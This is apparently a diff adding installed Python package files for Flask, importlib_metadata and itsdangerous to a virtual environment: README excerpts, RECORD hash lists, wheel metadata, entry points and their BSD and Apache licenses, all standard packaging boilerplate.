Flask offers suggestions, but doesn't enforce any dependencies or
|
||||
project layout. It is up to the developer to choose the tools and
|
||||
libraries they want to use. There are many extensions provided by the
|
||||
community that make adding new functionality easy.
|
||||
|
||||
[WSGI]: https://wsgi.readthedocs.io/
|
||||
[Werkzeug]: https://werkzeug.palletsprojects.com/
|
||||
[Jinja]: https://jinja.palletsprojects.com/
|
||||
|
||||
## A Simple Example
|
||||
|
||||
```python
|
||||
# save this as app.py
|
||||
from flask import Flask
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/")
|
||||
def hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
```
|
||||
$ flask run
|
||||
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
|
||||
```
|
||||
|
||||
## Donate
|
||||
|
||||
The Pallets organization develops and supports Flask and the libraries
|
||||
it uses. In order to grow the community of contributors and users, and
|
||||
allow the maintainers to devote more time to the projects, [please
|
||||
donate today].
|
||||
|
||||
[please donate today]: https://palletsprojects.com/donate
|
||||
|
||||
## Contributing
|
||||
|
||||
See our [detailed contributing documentation][contrib] for many ways to
|
||||
contribute, including reporting issues, requesting features, asking or answering
|
||||
questions, and making PRs.
|
||||
|
||||
[contrib]: https://palletsprojects.com/contributing/
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
../../Scripts/flask.exe,sha256=_mabYvHWmDHkSxw_t4DPmbl08U6onGV1eQJ0z8Tx9HY,108357
|
||||
flask-3.1.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
||||
flask-3.1.3.dist-info/METADATA,sha256=qmdg7W9UVwRHTXBzPkpjp_FIHjdpc-3IlqE9AqciTHw,3167
|
||||
flask-3.1.3.dist-info/RECORD,,
|
||||
flask-3.1.3.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
flask-3.1.3.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
|
||||
flask-3.1.3.dist-info/entry_points.txt,sha256=bBP7hTOS5fz9zLtC7sPofBZAlMkEvBxu7KqS6l5lvc4,40
|
||||
flask-3.1.3.dist-info/licenses/LICENSE.txt,sha256=SJqOEQhQntmKN7uYPhHg9-HTHwvY-Zp5yESOf_N9B-o,1475
|
||||
flask/__init__.py,sha256=mHvJN9Swtl1RDtjCqCIYyIniK_SZ_l_hqUynOzgpJ9o,2701
|
||||
flask/__main__.py,sha256=bYt9eEaoRQWdejEHFD8REx9jxVEdZptECFsV7F49Ink,30
|
||||
flask/__pycache__/__init__.cpython-313.pyc,,
|
||||
flask/__pycache__/__main__.cpython-313.pyc,,
|
||||
flask/__pycache__/app.cpython-313.pyc,,
|
||||
flask/__pycache__/blueprints.cpython-313.pyc,,
|
||||
flask/__pycache__/cli.cpython-313.pyc,,
|
||||
flask/__pycache__/config.cpython-313.pyc,,
|
||||
flask/__pycache__/ctx.cpython-313.pyc,,
|
||||
flask/__pycache__/debughelpers.cpython-313.pyc,,
|
||||
flask/__pycache__/globals.cpython-313.pyc,,
|
||||
flask/__pycache__/helpers.cpython-313.pyc,,
|
||||
flask/__pycache__/logging.cpython-313.pyc,,
|
||||
flask/__pycache__/sessions.cpython-313.pyc,,
|
||||
flask/__pycache__/signals.cpython-313.pyc,,
|
||||
flask/__pycache__/templating.cpython-313.pyc,,
|
||||
flask/__pycache__/testing.cpython-313.pyc,,
|
||||
flask/__pycache__/typing.cpython-313.pyc,,
|
||||
flask/__pycache__/views.cpython-313.pyc,,
|
||||
flask/__pycache__/wrappers.cpython-313.pyc,,
|
||||
flask/app.py,sha256=k7tW8LHRSldUi6zKsFKK7Axa_WL4zu1e2wPNthIsu7o,61719
|
||||
flask/blueprints.py,sha256=p5QE2lY18GItbdr_RKRpZ8Do17g0PvQGIgZkSUDhX2k,4541
|
||||
flask/cli.py,sha256=Pfh72-BxlvoH0QHCDOc1HvXG7Kq5Xetf3zzNz2kNSHk,37184
|
||||
flask/config.py,sha256=PiqF0DPam6HW0FH4CH1hpXTBe30NSzjPEOwrz1b6kt0,13219
|
||||
flask/ctx.py,sha256=oMe0TRsScW0qdaIqavVsk8P9qiEvAY5VHn1FAgkX8nk,15521
|
||||
flask/debughelpers.py,sha256=PGIDhStW_efRjpaa3zHIpo-htStJOR41Ip3OJWPYBwo,6080
|
||||
flask/globals.py,sha256=XdQZmStBmPIs8t93tjx6pO7Bm3gobAaONWkFcUHaGas,1713
|
||||
flask/helpers.py,sha256=rJZge7_J288J1UQv5-kNf4oEaw332PP8NTW0QRIBbXE,23517
|
||||
flask/json/__init__.py,sha256=hLNR898paqoefdeAhraa5wyJy-bmRB2k2dV4EgVy2Z8,5602
|
||||
flask/json/__pycache__/__init__.cpython-313.pyc,,
|
||||
flask/json/__pycache__/provider.cpython-313.pyc,,
|
||||
flask/json/__pycache__/tag.cpython-313.pyc,,
|
||||
flask/json/provider.py,sha256=5imEzY5HjV2HoUVrQbJLqXCzMNpZXfD0Y1XqdLV2XBA,7672
|
||||
flask/json/tag.py,sha256=DhaNwuIOhdt2R74oOC9Y4Z8ZprxFYiRb5dUP5byyINw,9281
|
||||
flask/logging.py,sha256=8sM3WMTubi1cBb2c_lPkWpN0J8dMAqrgKRYLLi1dCVI,2377
|
||||
flask/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
flask/sansio/README.md,sha256=-0X1tECnilmz1cogx-YhNw5d7guK7GKrq_DEV2OzlU0,228
|
||||
flask/sansio/__pycache__/app.cpython-313.pyc,,
|
||||
flask/sansio/__pycache__/blueprints.cpython-313.pyc,,
|
||||
flask/sansio/__pycache__/scaffold.cpython-313.pyc,,
|
||||
flask/sansio/app.py,sha256=whGURQDkN0jmhS4CHO7DQ96GGlZS0kETkKkAkoRjl4U,38106
|
||||
flask/sansio/blueprints.py,sha256=Tqe-7EkZ-tbWchm8iDoCfD848f0_3nLv6NNjeIPvHwM,24637
|
||||
flask/sansio/scaffold.py,sha256=wSASXYdFRWJmqcL0Xq-T7N-PDVUSiFGvjO9kPZg58bk,30371
|
||||
flask/sessions.py,sha256=eywRqmytTmYnX_EC78-YBGJoTc5XD_lRphQG5LbN1d0,14969
|
||||
flask/signals.py,sha256=V7lMUww7CqgJ2ThUBn1PiatZtQanOyt7OZpu2GZI-34,750
|
||||
flask/templating.py,sha256=vbIkwYAxsSEfDxQID1gKRvBQQcGWEuWYCnH0XK3EqOI,7678
|
||||
flask/testing.py,sha256=zzC7XxhBWOP9H697IV_4SG7Lg3Lzb5PWiyEP93_KQXE,10117
|
||||
flask/typing.py,sha256=L-L5t2jKgS0aOmVhioQ_ylqcgiVFnA6yxO-RLNhq-GU,3293
|
||||
flask/views.py,sha256=xzJx6oJqGElThtEghZN7ZQGMw5TDFyuRxUkecwRuAoA,6962
|
||||
flask/wrappers.py,sha256=jUkv4mVek2Iq4hwxd4RvqrIMb69Bv0PElDgWLmd5ORo,9406
|
||||
@@ -0,0 +1,4 @@
|
||||
Wheel-Version: 1.0
|
||||
Generator: flit 3.12.0
|
||||
Root-Is-Purelib: true
|
||||
Tag: py3-none-any
|
||||
@@ -0,0 +1,3 @@
|
||||
[console_scripts]
|
||||
flask=flask.cli:main
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
Copyright 2010 Pallets
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1 @@
|
||||
pip
|
||||
@@ -0,0 +1,133 @@
|
||||
Metadata-Version: 2.4
|
||||
Name: importlib_metadata
|
||||
Version: 8.7.1
|
||||
Summary: Read metadata from Python packages
|
||||
Author-email: "Jason R. Coombs" <jaraco@jaraco.com>
|
||||
License-Expression: Apache-2.0
|
||||
Project-URL: Source, https://github.com/python/importlib_metadata
|
||||
Classifier: Development Status :: 5 - Production/Stable
|
||||
Classifier: Intended Audience :: Developers
|
||||
Classifier: Programming Language :: Python :: 3
|
||||
Classifier: Programming Language :: Python :: 3 :: Only
|
||||
Requires-Python: >=3.9
|
||||
Description-Content-Type: text/x-rst
|
||||
License-File: LICENSE
|
||||
Requires-Dist: zipp>=3.20
|
||||
Provides-Extra: test
|
||||
Requires-Dist: pytest!=8.1.*,>=6; extra == "test"
|
||||
Requires-Dist: packaging; extra == "test"
|
||||
Requires-Dist: pyfakefs; extra == "test"
|
||||
Requires-Dist: flufl.flake8; extra == "test"
|
||||
Requires-Dist: pytest-perf>=0.9.2; extra == "test"
|
||||
Requires-Dist: jaraco.test>=5.4; extra == "test"
|
||||
Provides-Extra: doc
|
||||
Requires-Dist: sphinx>=3.5; extra == "doc"
|
||||
Requires-Dist: jaraco.packaging>=9.3; extra == "doc"
|
||||
Requires-Dist: rst.linker>=1.9; extra == "doc"
|
||||
Requires-Dist: furo; extra == "doc"
|
||||
Requires-Dist: sphinx-lint; extra == "doc"
|
||||
Requires-Dist: jaraco.tidelift>=1.4; extra == "doc"
|
||||
Provides-Extra: perf
|
||||
Requires-Dist: ipython; extra == "perf"
|
||||
Provides-Extra: check
|
||||
Requires-Dist: pytest-checkdocs>=2.4; extra == "check"
|
||||
Requires-Dist: pytest-ruff>=0.2.1; sys_platform != "cygwin" and extra == "check"
|
||||
Provides-Extra: cover
|
||||
Requires-Dist: pytest-cov; extra == "cover"
|
||||
Provides-Extra: enabler
|
||||
Requires-Dist: pytest-enabler>=3.4; extra == "enabler"
|
||||
Provides-Extra: type
|
||||
Requires-Dist: pytest-mypy>=1.0.1; extra == "type"
|
||||
Requires-Dist: mypy<1.19; platform_python_implementation == "PyPy" and extra == "type"
|
||||
Dynamic: license-file
|
||||
|
||||
.. image:: https://img.shields.io/pypi/v/importlib_metadata.svg
|
||||
:target: https://pypi.org/project/importlib_metadata
|
||||
|
||||
.. image:: https://img.shields.io/pypi/pyversions/importlib_metadata.svg
|
||||
|
||||
.. image:: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
|
||||
:target: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
|
||||
:alt: tests
|
||||
|
||||
.. image:: https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json
|
||||
:target: https://github.com/astral-sh/ruff
|
||||
:alt: Ruff
|
||||
|
||||
.. image:: https://readthedocs.org/projects/importlib-metadata/badge/?version=latest
|
||||
:target: https://importlib-metadata.readthedocs.io/en/latest/?badge=latest
|
||||
|
||||
.. image:: https://img.shields.io/badge/skeleton-2025-informational
|
||||
:target: https://blog.jaraco.com/skeleton
|
||||
|
||||
.. image:: https://tidelift.com/badges/package/pypi/importlib-metadata
|
||||
:target: https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm_medium=readme
|
||||
|
||||
Library to access the metadata for a Python package.
|
||||
|
||||
This package supplies third-party access to the functionality of
|
||||
`importlib.metadata <https://docs.python.org/3/library/importlib.metadata.html>`_
|
||||
including improvements added to subsequent Python versions.
|
||||
|
||||
|
||||
Compatibility
|
||||
=============
|
||||
|
||||
New features are introduced in this third-party library and later merged
|
||||
into CPython. The following table indicates which versions of this library
|
||||
were contributed to different versions in the standard library:
|
||||
|
||||
.. list-table::
|
||||
:header-rows: 1
|
||||
|
||||
* - importlib_metadata
|
||||
- stdlib
|
||||
* - 7.0
|
||||
- 3.13
|
||||
* - 6.5
|
||||
- 3.12
|
||||
* - 4.13
|
||||
- 3.11
|
||||
* - 4.6
|
||||
- 3.10
|
||||
* - 1.4
|
||||
- 3.8
|
||||
|
||||
|
||||
Usage
|
||||
=====
|
||||
|
||||
See the `online documentation <https://importlib-metadata.readthedocs.io/>`_
|
||||
for usage details.
|
||||
|
||||
`Finder authors
|
||||
<https://docs.python.org/3/reference/import.html#finders-and-loaders>`_ can
|
||||
also add support for custom package installers. See the above documentation
|
||||
for details.
|
||||
|
||||
|
||||
Caveats
|
||||
=======
|
||||
|
||||
This project primarily supports third-party packages installed by PyPA
|
||||
tools (or other conforming packages). It does not support:
|
||||
|
||||
- Packages in the stdlib.
|
||||
- Packages installed without metadata.
|
||||
|
||||
Project details
|
||||
===============
|
||||
|
||||
* Project home: https://github.com/python/importlib_metadata
|
||||
* Report bugs at: https://github.com/python/importlib_metadata/issues
|
||||
* Code hosting: https://github.com/python/importlib_metadata
|
||||
* Documentation: https://importlib-metadata.readthedocs.io/
|
||||
|
||||
For Enterprise
|
||||
==============
|
||||
|
||||
Available as part of the Tidelift Subscription.
|
||||
|
||||
This project and the maintainers of thousands of other packages are working with Tidelift to deliver one enterprise subscription that covers all of the open source you use.
|
||||
|
||||
`Learn more <https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm_medium=referral&utm_campaign=github>`_.
|
||||
@@ -0,0 +1,33 @@
|
||||
importlib_metadata-8.7.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
||||
importlib_metadata-8.7.1.dist-info/METADATA,sha256=o-OLnuQyYonUhkcE8w4pnudp4jCc6fSnXw3hpQrQo1Y,4670
|
||||
importlib_metadata-8.7.1.dist-info/RECORD,,
|
||||
importlib_metadata-8.7.1.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
||||
importlib_metadata-8.7.1.dist-info/licenses/LICENSE,sha256=RYUC4S2Xu_ZEOGBqIARKqF6wX7CoqAe7NdvsJT_R_AQ,10278
|
||||
importlib_metadata-8.7.1.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19
|
||||
importlib_metadata/__init__.py,sha256=u7Ew4-UkpzNY-ka6k-WRkDhQZS1akkLMfWs2eEnUmGo,37734
|
||||
importlib_metadata/__pycache__/__init__.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_adapters.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_collections.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_compat.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_functools.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_itertools.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_meta.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_text.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/_typing.cpython-313.pyc,,
|
||||
importlib_metadata/__pycache__/diagnose.cpython-313.pyc,,
|
||||
importlib_metadata/_adapters.py,sha256=r5i8XLrKT6xmrpoREZhZrfczOYDmrVZeJBW5u0HzIGU,3797
|
||||
importlib_metadata/_collections.py,sha256=CxAhzlF3g1rwu_fMiB53JtRQiUFh0RgiMpoOvmK_ocg,760
|
||||
importlib_metadata/_compat.py,sha256=VC5ZDLlT-BcshauCShdFJvMNLntJJfZzNK1meGa-enw,1313
|
||||
importlib_metadata/_functools.py,sha256=0pA2OoiVK6wnsGq8HvVIzgdkvLiZ0nfnfw7IsndjoHk,3510
|
||||
importlib_metadata/_itertools.py,sha256=nMvp9SfHAQ_JYwK4L2i64lr3GRXGlYlikGTVzWbys_E,5351
|
||||
importlib_metadata/_meta.py,sha256=EtHyiJ5kGzWFDfKyQ2XQp6Vu113CeadKW1Vf6aGc1B4,1765
|
||||
importlib_metadata/_text.py,sha256=HCsFksZpJLeTP3NEk_ngrAeXVRRtTrtyh9eOABoRP4A,2166
|
||||
importlib_metadata/_typing.py,sha256=EQKhhsEgz_Sa-FnePI-faC72rNOOQwopjA1i5pG8FDU,367
|
||||
importlib_metadata/compat/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
importlib_metadata/compat/__pycache__/__init__.cpython-313.pyc,,
|
||||
importlib_metadata/compat/__pycache__/py311.cpython-313.pyc,,
|
||||
importlib_metadata/compat/__pycache__/py39.cpython-313.pyc,,
|
||||
importlib_metadata/compat/py311.py,sha256=uqm-K-uohyj1042TH4a9Er_I5o7667DvulcD-gC_fSA,608
|
||||
importlib_metadata/compat/py39.py,sha256=J3W7PUVRPNYMmcvT12RF8ndBU9e8_T0Ac4U87Bsrq70,1187
|
||||
importlib_metadata/diagnose.py,sha256=nkSRMiowlmkhLYhKhvCg9glmt_11Cox-EmLzEbqYTa8,379
|
||||
importlib_metadata/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
@@ -0,0 +1,5 @@
|
||||
Wheel-Version: 1.0
|
||||
Generator: setuptools (80.9.0)
|
||||
Root-Is-Purelib: true
|
||||
Tag: py3-none-any
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
|
||||
|
||||
Copyright 2025 [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1 @@
|
||||
importlib_metadata
|
||||
@@ -0,0 +1 @@
|
||||
pip
|
||||
@@ -0,0 +1,28 @@
|
||||
Copyright 2011 Pallets
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1,60 @@
|
||||
Metadata-Version: 2.1
|
||||
Name: itsdangerous
|
||||
Version: 2.2.0
|
||||
Summary: Safely pass data to untrusted environments and back.
|
||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
||||
Requires-Python: >=3.8
|
||||
Description-Content-Type: text/markdown
|
||||
Classifier: Development Status :: 5 - Production/Stable
|
||||
Classifier: Intended Audience :: Developers
|
||||
Classifier: License :: OSI Approved :: BSD License
|
||||
Classifier: Operating System :: OS Independent
|
||||
Classifier: Programming Language :: Python
|
||||
Classifier: Typing :: Typed
|
||||
Project-URL: Changes, https://itsdangerous.palletsprojects.com/changes/
|
||||
Project-URL: Chat, https://discord.gg/pallets
|
||||
Project-URL: Documentation, https://itsdangerous.palletsprojects.com/
|
||||
Project-URL: Donate, https://palletsprojects.com/donate
|
||||
Project-URL: Source, https://github.com/pallets/itsdangerous/
|
||||
|
||||
# ItsDangerous
|
||||
|
||||
... so better sign this
|
||||
|
||||
Various helpers to pass data to untrusted environments and to get it
|
||||
back safe and sound. Data is cryptographically signed to ensure that a
|
||||
token has not been tampered with.
|
||||
|
||||
It's possible to customize how data is serialized. Data is compressed as
|
||||
needed. A timestamp can be added and verified automatically while
|
||||
loading a token.
|
||||
|
||||
|
||||
## A Simple Example
|
||||
|
||||
Here's how you could generate a token for transmitting a user's id and
|
||||
name between web requests.
|
||||
|
||||
```python
|
||||
from itsdangerous import URLSafeSerializer
|
||||
auth_s = URLSafeSerializer("secret key", "auth")
|
||||
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})
|
||||
|
||||
print(token)
|
||||
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg
|
||||
|
||||
data = auth_s.loads(token)
|
||||
print(data["name"])
|
||||
# itsdangerous
|
||||
```
|
||||
|
||||
|
||||
## Donate
|
||||
|
||||
The Pallets organization develops and supports ItsDangerous and other
|
||||
popular packages. In order to grow the community of contributors and
|
||||
users, and allow the maintainers to devote more time to the projects,
|
||||
[please donate today][].
|
||||
|
||||
[please donate today]: https://palletsprojects.com/donate
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
